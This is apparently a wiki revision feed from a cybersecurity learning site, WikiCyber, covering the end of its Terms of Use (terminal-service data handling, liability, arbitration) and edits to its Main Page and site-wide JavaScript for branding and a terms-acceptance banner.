:(c) &#039;&#039;&#039;Console activity.&#039;&#039;&#039; Everything that passes through the terminal, in both directions, is visible to the Operator while the session runs, and the host keeps a log of the virtual machine&#039;s console. Because a console normally displays what you type, the console log can contain the commands you type, the output you see, and anything you paste or type into the terminal, including anything you should not have entered. Do not type or paste anything into the terminal that you are not willing for the Operator to see. The Operator does not use the console log for advertising and does not read it routinely; it uses it to run the service, to investigate abuse, faults, and suspected cheating, and to review and score attempts.&lt;br /&gt;
:(d) &#039;&#039;&#039;Environment contents.&#039;&#039;&#039; At the end of an attempt the Operator takes a copy of the contents of the virtual machine&#039;s disk, the files you changed or created, and the answers you typed into the environment, so that the attempt can be scored and reviewed. Practice scoring copies are ordinarily deleted after scoring; fault investigation, security incidents, or legal preservation may require longer retention. Competition evidence may be retained for review and disputes. Ending access does not guarantee immediate erasure of working disks, console logs, or backups. Retention remains subject to Section 10.7 and applicable law.&lt;br /&gt;
:(e) &#039;&#039;&#039;Scoring, booking, and results.&#039;&#039;&#039; Your bookings, slots, missed slots, attempts, the score and the individual scoring checks for each attempt, the Operator&#039;s review decision, and the leaderboard. Scoring is automatic and rule-based; a person may review it.&lt;br /&gt;
:(f) &#039;&#039;&#039;Network use.&#039;&#039;&#039; A practice session that has been given outside network access sends its traffic through a filtering proxy that records each connection it allows or refuses (the environment, the destination, the time, and the amount of data), but not the content of encrypted traffic. Competitions never have network access.&lt;br /&gt;
:(g) &#039;&#039;&#039;Email.&#039;&#039;&#039; Emails about booking, queueing, or results that the Operator sends to your account&#039;s email address.&lt;br /&gt;
:(h) &#039;&#039;&#039;Browser information.&#039;&#039;&#039; A necessary, secure session cookie that connects your browser to your one terminal session that expires according to its configured lifetime or is cleared on logout or explicit termination. Closing the browser or losing a connection need not immediately remove the cookie. The Operator does not use advertising or analytics cookies in the Terminal Service.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.7 Terminal Service: use, sharing, and retention.&#039;&#039;&#039; The Operator uses the information in Section 10.6 to provide and secure the Terminal Service, to schedule, score, review, and publish Competitions, to prevent and investigate abuse and cheating, to keep the service running, and to meet legal obligations. The Operator shares it with service providers supporting the purposes described here and in the Privacy policy, including those identified in Section 10.3, with persons who run or review a Competition for the Operator, as required under Section 7.3, and, in the case of a leaderboard or published result, with the public as described below. Where results are published, your Site username, score, and rank may be shown to anyone who can see the page. Usernames on the Site are public (Section 10.2), so you should not use a username that you do not want connected to a published result. The Operator keeps the information in Section 10.6 for as long as it reasonably needs it for these purposes and for a Competition&#039;s review and dispute period, and may keep audit records, bookings, and published results for longer where the integrity of a Competition, the security of the Terminal Service, or the law requires. Retention must be limited to what is reasonably necessary and legally permitted, with deletion or de-identification when no longer needed; backup copies may persist until their scheduled rotation. The Privacy policy must state applicable retention periods or the criteria used to determine them. You may ask the Operator, at the address in Section 13.1, to access or delete information about you in the Terminal Service, and it will respond in accordance with applicable law, including any identity-verification requirements, response deadlines, and lawful exceptions. Published results and usernames may be removed or de-identified where required. Competition integrity alone does not override a statutory deletion right. The Terminal Service is not designed for the entry of sensitive personal information.&lt;br /&gt;
&lt;br /&gt;
== 11. Disclaimer of Warranties; Limitation of Liability ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.1 Disclaimer of warranties.&#039;&#039;&#039; TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE SITE AND ALL CONTENT, INCLUDING TERMINAL ENVIRONMENTS AND COMPETITIONS, ARE PROVIDED &amp;quot;AS IS&amp;quot; AND &amp;quot;AS AVAILABLE,&amp;quot; WITHOUT WARRANTIES OF ANY KIND, WHETHER EXPRESS, IMPLIED, OR STATUTORY, INCLUDING ANY WARRANTIES OF ACCURACY, COMPLETENESS, TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THE OPERATOR DOES NOT WARRANT THAT THE SITE OR THE CONTENT WILL BE UNINTERRUPTED, TIMELY, ERROR-FREE, SECURE, OR FREE OF HARMFUL COMPONENTS.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.2 Exclusion of damages.&#039;&#039;&#039; TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL ANY OF THE WIKICYBER PARTIES BE LIABLE TO YOU OR TO ANY THIRD PARTY FOR ANY INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL, EXEMPLARY, OR PUNITIVE DAMAGES, OR FOR ANY LOSS OF DATA, PROFITS, REVENUE, GOODWILL, OR SYSTEM AVAILABILITY, ARISING OUT OF OR IN CONNECTION WITH THESE TERMS, THE SITE, OR THE CONTENT, OR YOUR USE OF, OR INABILITY TO USE, THE SITE OR THE CONTENT, WHETHER BASED ON WARRANTY, CONTRACT, TORT (INCLUDING NEGLIGENCE), STATUTE, OR ANY OTHER LEGAL THEORY, AND EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.3 Limitation of aggregate liability.&#039;&#039;&#039; BECAUSE THE SITE IS PROVIDED FREE OF CHARGE, TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE TOTAL AGGREGATE LIABILITY OF THE WIKICYBER PARTIES FOR ALL CLAIMS ARISING OUT OF OR RELATING TO THESE TERMS, THE SITE, OR THE CONTENT SHALL NOT EXCEED THE GREATER OF TEN U.S. DOLLARS (US$10) OR THE AMOUNTS YOU PAID THE OPERATOR FOR THE AFFECTED SERVICE IN THE TWELVE MONTHS BEFORE THE EVENT GIVING RISE TO LIABILITY, SUBJECT TO SECTION 11.4.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.4 Exceptions.&#039;&#039;&#039; Nothing in these Terms excludes or limits liability for fraud, willful misconduct, gross negligence, or any other liability that cannot lawfully be excluded or limited, including nonwaivable statutory remedies. No disclaimer, indemnity, assumption of risk, enforcement provision, or dispute clause overrides those protections. Some jurisdictions do not allow the exclusion of certain warranties or the limitation of certain damages, and in those jurisdictions the exclusions and limitations in this Section 11 apply only to the fullest extent permitted.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.5 Basis of the bargain.&#039;&#039;&#039; You acknowledge that the disclaimers and limitations in this Section 11 reflect a reasonable allocation of risk, that the Site is provided free of charge in reliance on them, and that they apply even if any limited remedy fails of its essential purpose.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;11.6 Terminal risks.&#039;&#039;&#039; Training images may be intentionally vulnerable or misconfigured. No warranty is made about session continuity, isolation against every possible attack, scoring accuracy, preservation of work, or suitability for an external exam or certification. Do not deploy training images as production systems or expose them to other networks. These cautions do not expand your authorized testing scope or diminish Section 11.4.&lt;br /&gt;
&lt;br /&gt;
== 12. Indemnification ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12.1 Indemnity.&#039;&#039;&#039; To the extent permitted by applicable law, you agree to indemnify the WikiCyber Parties against third-party claims and reasonable resulting losses and legal costs to the extent caused by your unlawful conduct, infringement of third-party rights, or material breach of these Terms. This does not apply to claims caused by a WikiCyber Party&#039;s own negligence, misconduct, or violation of law, or require reimbursement for your good-faith assertion of rights against the Operator. No minor or consumer assumes obligations that applicable law prohibits.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12.2 Procedure.&#039;&#039;&#039; The Operator will promptly notify you of a claim and take reasonable steps to mitigate loss. Late notice relieves you of liability to the extent it materially prejudices your defense. You may control the defense using reasonably qualified counsel acceptable to the Operator; the Operator may participate at its own expense. If you fail to provide a reasonable defense, the Operator may defend and seek only reasonable, necessary costs otherwise covered by Section 12.1. Neither party may settle a covered claim in a way that admits fault, imposes nonmonetary obligations, or fails to release the other without that other&#039;s consent, not unreasonably withheld.&lt;br /&gt;
&lt;br /&gt;
== 13. Contact and Notices ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.1 Contact.&#039;&#039;&#039; Questions regarding these Terms, notices of claimed copyright infringement and counter-notices under Section 8, and reports under Section 6.3 should be directed to: &#039;&#039;&#039;admin@wikicyber.org&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.2 Notices to you.&#039;&#039;&#039; The Operator may provide notices to you by posting them on the Site or by sending them to the email address associated with your account, if any. Material changes are governed by Section 14. Posting or sending a notice does not establish acceptance or waive any legally required notice, receipt, or service-of-process procedure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.3 Electronic communications.&#039;&#039;&#039; You consent to receive communications from the Operator in electronic form and agree that electronic communications may satisfy writing requirements to the extent permitted by applicable law; any additional legally required consent or delivery procedure still applies.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;13.4 Account and service emails; no marketing.&#039;&#039;&#039; By accepting an account, an Author agrees that the Operator may send email to the address associated with the account for purposes related to the Site, such as account and security messages, password resets, editorial review and draft-status notices, terminal queue and competition booking or results messages where offered, notices of changes to these Terms or the Supplemental Policies, and responses to your inquiries. The Operator does not send advertising or marketing messages and does not contact you by telephone or text message. Some categories of email (such as review notifications) may be switched off in your preferences; notices about these Terms, legal notices, and security messages may be sent regardless. You represent that you own or are authorized to use the email address you give the Operator.&lt;br /&gt;
&lt;br /&gt;
== 14. Modifications to These Terms ==&lt;br /&gt;
&lt;br /&gt;
The Operator may revise these Terms prospectively. A revised version will state its effective date and be available for review. For material changes, the Operator will provide reasonable advance notice through the Site and, for affected account holders, their account email where available, ordinarily at least 30 days before effectiveness. Changes necessary for law, security, or abuse prevention may take effect sooner to the extent necessary, with notice as soon as practicable. Account holders must affirmatively accept material contractual changes before using the affected account features after effectiveness; publication or silence alone is not acceptance. A user who declines may stop using the affected features and request account closure. Changes do not retroactively alter accrued claims, revoke granted licenses, or override prior arbitration opt-outs. Changes to dispute resolution also require the protections in Section 15.15. Prior published versions remain available through page history.&lt;br /&gt;
&lt;br /&gt;
== 15. Governing Law and General Provisions ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.1 Governing law.&#039;&#039;&#039; These Terms, and any dispute arising out of or relating to them or to the Site, are governed by the laws of the State of California, United States of America, without regard to its conflict-of-laws principles, except that mandatory protections of your place of residence continue to apply where they cannot lawfully be displaced.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.2 Jurisdiction and venue.&#039;&#039;&#039; Subject to Sections 15.3 and 15.12 through 15.15, you irrevocably consent to the exclusive jurisdiction and venue of the state and federal courts located in the State of California for any such dispute, except where mandatory law entitles you to a different forum. This provision does not prevent qualifying small-claims proceedings under Section 15.12 or complaints to public authorities.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.3 Provisional relief.&#039;&#039;&#039; Either party may request temporary or preliminary relief from a court of competent jurisdiction where necessary to preserve rights pending arbitration. This does not remove the merits of an otherwise arbitrable dispute from arbitration. Public injunctive relief is governed by Section 15.14.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.4 Severability.&#039;&#039;&#039; If any provision of these Terms is held to be invalid, illegal, or unenforceable, that provision shall be enforced to the maximum extent permissible and the remaining provisions shall continue in full force and effect.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.5 No waiver.&#039;&#039;&#039; The failure of the Operator to exercise or enforce any right or provision of these Terms does not constitute a waiver of that right or provision. Any waiver must be in writing and signed by the Operator to be effective.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.6 Entire agreement; order of precedence.&#039;&#039;&#039; These Terms, together with the Supplemental Policies and, as to Content, the License, constitute the entire agreement between you and the Operator regarding the Site and supersede all prior or contemporaneous understandings on that subject. In the event of a conflict, (a) the License governs the rights granted in Content, and (b) mandatory law controls over all contractual terms. The Privacy policy governs descriptions of personal-data handling and does not diminish privacy rights. Event rules under Section 6.6.8 govern event mechanics but cannot change these Terms&#039; liability, dispute-resolution, or privacy provisions. Otherwise these Terms control. An unpublished or unavailable policy is not incorporated by reference.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.7 Assignment.&#039;&#039;&#039; You may not assign or transfer these Terms or any rights under them without the Operator&#039;s prior written consent, and any purported assignment in violation of this Section is void. The Operator may assign these Terms in connection with a genuine transfer or reorganization of the service if the successor assumes its obligations, subject to applicable law and notice of material changes in the handling of personal information. Assignment does not reduce your accrued rights.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.8 Third-party beneficiaries.&#039;&#039;&#039; Except that the WikiCyber Parties are intended third-party beneficiaries of Sections 11 and 12, these Terms confer no rights on any person other than you and the Operator.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.9 Force majeure.&#039;&#039;&#039; The Operator shall not be liable for any failure or delay in performance caused by events beyond its reasonable control, including failures of internet, hosting, or power services, labor disputes, natural disasters, governmental action, or attacks on the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.10 Geographic availability and age assurance.&#039;&#039;&#039; Availability of the Site does not mean every service is offered in every jurisdiction. The Operator may restrict features or locations where needed to comply with applicable law. Users must provide accurate eligibility information reasonably requested under Section 3.9, and must not evade geographic or age restrictions. These Terms do not disclaim applicable foreign law, transfer the Operator&#039;s compliance obligations to users, or replace age-assurance measures required by law. Any collection of verification information requires appropriate notice and safeguards.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.11 Survival.&#039;&#039;&#039; Sections that by their nature should survive the termination of your access to the Site shall so survive, including Sections 2, 3.7, 3.8, 3.9(c), 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, and 15, but only to the extent relevant to accrued rights and obligations or continuing lawful retention. Survival does not require indefinite data retention.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.12 Informal resolution and binding arbitration.&#039;&#039;&#039;&lt;br /&gt;
:(a) &#039;&#039;&#039;Informal resolution first.&#039;&#039;&#039; Before starting an arbitration, a party must send the other a written notice describing the dispute and the relief sought (to the Operator, at the address in Section 13.1; to you, at the email address associated with your account), and the parties will try in good faith to resolve it informally for at least thirty (30) days after the notice is received. Applicable limitation periods are tolled during that period to the extent permitted by law. Neither party must delay an urgent protective filing, a qualifying small-claims case, or a complaint to a regulator. Participation does not require disclosing privileged information.&lt;br /&gt;
:(b) &#039;&#039;&#039;Agreement to arbitrate.&#039;&#039;&#039; If you affirmatively accepted this arbitration agreement and a dispute is not resolved within that period, then, except as provided in Section 15.12(e) and Section 15.15, you and the Operator agree that any dispute, claim, or controversy arising out of or relating to these Terms, the Site, or the Content, whether based in contract, tort, statute, or otherwise, will be resolved exclusively by final and binding arbitration on an individual basis, and not in court before a judge or jury. This Section 15.12 is governed by the Federal Arbitration Act (9 U.S.C. § 1 et seq.).&lt;br /&gt;
:(c) &#039;&#039;&#039;Rules and administrator.&#039;&#039;&#039; The arbitration will be administered by the American Arbitration Association (&amp;quot;AAA&amp;quot;) under its Consumer Arbitration Rules in effect when the arbitration is started, subject to applicable consumer due-process protections, which this Section does not reduce. The rules and filing instructions are available at https://www.adr.org. The Operator will comply with applicable AAA clause-review, registration, and business-fee requirements. If AAA declines administration because the Operator has not complied, you may elect court proceedings. If AAA is otherwise unavailable, the parties may agree on another administrator; absent agreement, either may proceed in court. The arbitration will be conducted by a single arbitrator, in writing or by video or telephone conference, unless the arbitrator decides that an in-person hearing is necessary, in which case it will be held in the county where you live or another place that the parties agree on.&lt;br /&gt;
:(d) &#039;&#039;&#039;Costs.&#039;&#039;&#039; Fees and costs will be allocated under the AAA Consumer Arbitration Rules. If those rules would require you to pay more than you would have paid to file a lawsuit in the state court of the county where you live, the Operator will pay the excess. Each party bears its own attorneys&#039; fees, except where applicable law or the arbitrator&#039;s authority under this Section permits an award of fees.&lt;br /&gt;
:(e) &#039;&#039;&#039;Exceptions.&#039;&#039;&#039; Either party may (i) bring an individual claim in small claims court if the claim qualifies; (ii) seek injunctive or other equitable relief under Section 15.3; and (iii) bring a claim for public injunctive relief only in court, as provided in Section 15.14.&lt;br /&gt;
:(f) &#039;&#039;&#039;Authority of the arbitrator.&#039;&#039;&#039; The arbitrator may award any individual relief that a court could award on the claims properly before the arbitrator, but may not award relief for or against anyone who is not a party. The arbitrator&#039;s decision is final, and a court having jurisdiction may enter judgment on it. A court decides contract formation, assent, and the validity, enforceability, and scope of this arbitration agreement, including Section 15.13; the arbitrator decides the merits of disputes properly referred to arbitration. Statutory remedies and judicial review available under applicable law remain available.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.13 Individual arbitration; jury rights.&#039;&#039;&#039; Covered arbitrations proceed individually, not as a class or representative arbitration, unless both parties agree otherwise after a dispute arises. The arbitrator may not consolidate different persons&#039; claims without their consent. If this limitation is unenforceable for a particular claim, that claim proceeds in court; other arbitrable claims remain in arbitration. This provision does not waive nonwaivable representative remedies, public injunctive relief, complaints to public authorities, or participation in government enforcement. Arbitration has no jury. These Terms do not separately waive a jury trial for claims that proceed in court, and do not prevent participation in a court-approved settlement.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.14 Public injunctive relief.&#039;&#039;&#039; Nothing in this Section 15 waives any right to seek public injunctive relief that cannot lawfully be waived. If such a claim is pursued, it must be brought in court under Section 15.2, and any other claims will be arbitrated; the court determines whether any stay is appropriate under applicable law; no stay is required by these Terms where it would impair a nonwaivable remedy.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;15.15 Opt-out; changes; severability of Section 15.12.&#039;&#039;&#039;&lt;br /&gt;
:(a) &#039;&#039;&#039;Opt-out.&#039;&#039;&#039; You may opt out of Sections 15.12 and 15.13 by emailing the address in Section 13.1 within 30 days after you first affirmatively accept this version&#039;s arbitration agreement. State that you opt out and include your username, if any, and sufficient contact information to identify you. An account or access to its original email is not required; reasonable identity verification may be requested. Timely sending is sufficient. Opting out carries no penalty or loss of service and does not affect the other Terms. A prior valid opt-out remains effective. Court proceedings under Section 15.2 then apply.&lt;br /&gt;
:(b) &#039;&#039;&#039;Changes.&#039;&#039;&#039; A material change to this dispute-resolution agreement requires advance notice under Section 14 and fresh affirmative acceptance, with a new 30-day opportunity to opt out. No change applies retroactively to an accrued claim or a dispute already notified to the other party unless both parties expressly agree after the dispute arises. Rejecting a change does not revoke a prior valid opt-out.&lt;br /&gt;
:(c) &#039;&#039;&#039;Minors.&#039;&#039;&#039; To the extent that a person is a minor under applicable law, Sections 15.12 and 15.13 apply only to the extent permitted by that law.&lt;br /&gt;
:(d) &#039;&#039;&#039;Severability.&#039;&#039;&#039; If part of this arbitration agreement is unenforceable, it is severed only if the remainder can lawfully operate consistently with the protections above. Sections 15.12(c) and 15.13 control administrator unavailability and unenforceable individual-arbitration restrictions. Severability cannot create assent or require arbitration where no enforceable agreement exists.&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=324</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=324"/>
		<updated>2026-10-25T20:22:09Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Add WikiCyber Discord community invite&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Welcome to &#039;&#039;&#039;WikiCyber&#039;&#039;&#039;, a clear, practical reference for learning cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Explore practical guidance on operating systems, network security, and digital forensics.&lt;br /&gt;
&lt;br /&gt;
== Browse by topic ==&lt;br /&gt;
* [[:Category:Windows|Windows]] — accounts, policies, PowerShell, and system security.&lt;br /&gt;
* [[:Category:Linux|Linux]] — permissions, services, account auditing, and command-line guidance.&lt;br /&gt;
* [[:Category:Cisco|Cisco and networking]] — networking concepts, routing, and device configuration.&lt;br /&gt;
* [[:Category:Windows Forensics|Digital forensics]] — event logs, system artifacts, and investigation methods.&lt;br /&gt;
&lt;br /&gt;
== Contributing ==&lt;br /&gt;
WikiCyber is a free educational project. Invited contributors develop articles, and assigned reviewers review drafts before publication.&lt;br /&gt;
&lt;br /&gt;
* [[Help:Your first article|Writing your first article]]&lt;br /&gt;
* [[Special:AllPages|Browse all articles]]&lt;br /&gt;
* [[WikiCyber:Terms of Use|Terms of Use]]&lt;br /&gt;
&lt;br /&gt;
== Community ==&lt;br /&gt;
Join the [https://discord.gg/UPEpFMHJEc WikiCyber Discord server] to connect with the community.&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=316</id>
		<title>MediaWiki:Common.js</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=316"/>
		<updated>2026-10-17T04:25:19Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Restore default Vector styling; preserve branded emails&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Any JavaScript here will be loaded for all users on every page load. */&lt;br /&gt;
&lt;br /&gt;
/* The personal-menu &amp;quot;Sandbox&amp;quot; link (with icon) is now added server-side by the SandboxAccess extension.&lt;br /&gt;
   The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;&lt;br /&gt;
   restore it from this page&#039;s history if the extension is ever disabled. */&lt;br /&gt;
&lt;br /&gt;
/* Native CC BY-SA footer badge: repair an empty configured image source. */&lt;br /&gt;
$(function () {&lt;br /&gt;
    var badge = document.querySelector(&#039;#footer-copyrightico img&#039;);&lt;br /&gt;
    if (badge &amp;amp;&amp;amp; !badge.getAttribute(&#039;src&#039;)) badge.src = &#039;/resources/assets/licenses/cc-by-sa.png&#039;;&lt;br /&gt;
});&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=315</id>
		<title>MediaWiki:Common.js</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=315"/>
		<updated>2026-10-17T04:24:04Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Restore default Vector styling; preserve branded emails&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Any JavaScript here will be loaded for all users on every page load. */&lt;br /&gt;
&lt;br /&gt;
/* The personal-menu &amp;quot;Sandbox&amp;quot; link (with icon) is now added server-side by the SandboxAccess extension.&lt;br /&gt;
   The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;&lt;br /&gt;
   restore it from this page&#039;s history if the extension is ever disabled. */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=314</id>
		<title>MediaWiki:Common.css</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=314"/>
		<updated>2026-10-17T04:24:03Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Restore default Vector styling; preserve branded emails&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=313</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=313"/>
		<updated>2026-10-17T04:24:03Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Restore default Vector styling; preserve branded emails&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Welcome to &#039;&#039;&#039;WikiCyber&#039;&#039;&#039;, a clear, practical reference for learning cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Explore practical guidance on operating systems, network security, and digital forensics.&lt;br /&gt;
&lt;br /&gt;
== Browse by topic ==&lt;br /&gt;
* [[:Category:Windows|Windows]] — accounts, policies, PowerShell, and system security.&lt;br /&gt;
* [[:Category:Linux|Linux]] — permissions, services, account auditing, and command-line guidance.&lt;br /&gt;
* [[:Category:Cisco|Cisco and networking]] — networking concepts, routing, and device configuration.&lt;br /&gt;
* [[:Category:Windows Forensics|Digital forensics]] — event logs, system artifacts, and investigation methods.&lt;br /&gt;
&lt;br /&gt;
== Contributing ==&lt;br /&gt;
WikiCyber is a free educational project. Invited contributors develop articles, and assigned reviewers review drafts before publication.&lt;br /&gt;
&lt;br /&gt;
* [[Help:Your first article|Writing your first article]]&lt;br /&gt;
* [[Special:AllPages|Browse all articles]]&lt;br /&gt;
* [[WikiCyber:Terms of Use|Terms of Use]]&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=307</id>
		<title>MediaWiki:Common.js</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=307"/>
		<updated>2026-10-16T20:51:28Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Remove homepage history/edit footer shortcuts&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Any JavaScript here will be loaded for all users on every page load. */&lt;br /&gt;
&lt;br /&gt;
/* The personal-menu &amp;quot;Sandbox&amp;quot; link (with icon) is now added server-side by the SandboxAccess extension.&lt;br /&gt;
   The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;&lt;br /&gt;
   restore it from this page&#039;s history if the extension is ever disabled. */&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber corporate v1 */&lt;br /&gt;
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */&lt;br /&gt;
mw.loader.using(&#039;mediawiki.util&#039;).then(function () {&lt;br /&gt;
  $(function () {&lt;br /&gt;
    if (!document.body.classList.contains(&#039;skin-vector-2022&#039;)) return;&lt;br /&gt;
    var base = mw.util.getUrl(&#039;Main Page&#039;);&lt;br /&gt;
    var terms = mw.util.getUrl(&#039;WikiCyber:Terms of Use&#039;);&lt;br /&gt;
    var logo = document.querySelector(&#039;.mw-logo-container&#039;);&lt;br /&gt;
    if (logo &amp;amp;&amp;amp; !logo.querySelector(&#039;.wc-slogan&#039;)) {&lt;br /&gt;
      var slogan = document.createElement(&#039;span&#039;); slogan.className = &#039;wc-slogan&#039;;&lt;br /&gt;
      slogan.textContent = &#039;Knowledge for a safer digital world&#039;; logo.append(slogan);&lt;br /&gt;
    }&lt;br /&gt;
    function link(label, href) { var a = document.createElement(&#039;a&#039;); a.textContent = label; a.href = href; return a; }&lt;br /&gt;
    var header = document.querySelector(&#039;.vector-header-start&#039;);&lt;br /&gt;
    if (header) {&lt;br /&gt;
      var nav = document.createElement(&#039;nav&#039;); nav.className = &#039;wc-header-nav&#039;; nav.setAttribute(&#039;aria-label&#039;, &#039;Primary&#039;);&lt;br /&gt;
      nav.append(link(&#039;Knowledge base&#039;, base + &#039;#topics&#039;), link(&#039;Resources&#039;, mw.util.getUrl(&#039;Special:AllPages&#039;)), link(&#039;Contribute&#039;, mw.util.getUrl(&#039;Help:Your first article&#039;)));&lt;br /&gt;
      header.after(nav);&lt;br /&gt;
    }&lt;br /&gt;
    var icons = document.querySelector(&#039;#footer-icons&#039;);&lt;br /&gt;
    if (icons) {&lt;br /&gt;
      var li = icons.querySelector(&#039;#footer-shorerogerico&#039;) || document.createElement(&#039;li&#039;);&lt;br /&gt;
      li.replaceChildren();&lt;br /&gt;
      var sre = link(&#039;&#039;, &#039;https://kirillshore.com&#039;); sre.className = &#039;wc-sre-logo&#039;;&lt;br /&gt;
      var image = document.createElement(&#039;img&#039;); image.src = &#039;/images/branding/theme-v1/shore-roger-logo.svg&#039;; image.alt = &#039;Shore-Roger Enterprises&#039;; image.width = 124; image.height = 48;&lt;br /&gt;
      sre.append(image); li.append(sre); icons.append(li);&lt;br /&gt;
      var cc = icons.querySelector(&#039;#footer-copyrightico img&#039;);&lt;br /&gt;
      if (cc &amp;amp;&amp;amp; !cc.getAttribute(&#039;src&#039;)) cc.src = &#039;/resources/assets/licenses/cc-by-sa.png&#039;;&lt;br /&gt;
    }&lt;br /&gt;
    // This acknowledgement is browser-local; it does not gate access or create a legal audit record.&lt;br /&gt;
    var key = &#039;wikicyber-terms-revision-253&#039;, bar = document.createElement(&#039;section&#039;);&lt;br /&gt;
    bar.className = &#039;wc-terms-bar&#039;; bar.setAttribute(&#039;aria-labelledby&#039;, &#039;wc-terms-heading&#039;);&lt;br /&gt;
    var copy = document.createElement(&#039;div&#039;), heading = document.createElement(&#039;h2&#039;), description = document.createElement(&#039;p&#039;);&lt;br /&gt;
    heading.id = &#039;wc-terms-heading&#039;; heading.textContent = &#039;Terms of Use &amp;amp; cookies&#039;;&lt;br /&gt;
    description.append(&#039;By selecting “Accept and continue,” you agree to the &#039;, link(&#039;Terms of Use&#039;, terms), &#039;. Essential cookies only.&#039;);&lt;br /&gt;
    copy.append(heading, description);&lt;br /&gt;
    var actions = document.createElement(&#039;div&#039;); actions.className = &#039;wc-terms-actions&#039;;&lt;br /&gt;
    var accept = document.createElement(&#039;button&#039;); accept.type = &#039;button&#039;; accept.textContent = &#039;Accept and continue&#039;;&lt;br /&gt;
    actions.append(link(&#039;Read the terms&#039;, terms), accept); bar.append(copy, actions); document.body.append(bar);&lt;br /&gt;
    var footer = document.querySelector(&#039;#footer&#039;);&lt;br /&gt;
    var originalPadding = document.body.style.paddingBottom;&lt;br /&gt;
    function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + &#039;px&#039;; }&lt;br /&gt;
    function display(show) { bar.hidden = !show; spacing(); }&lt;br /&gt;
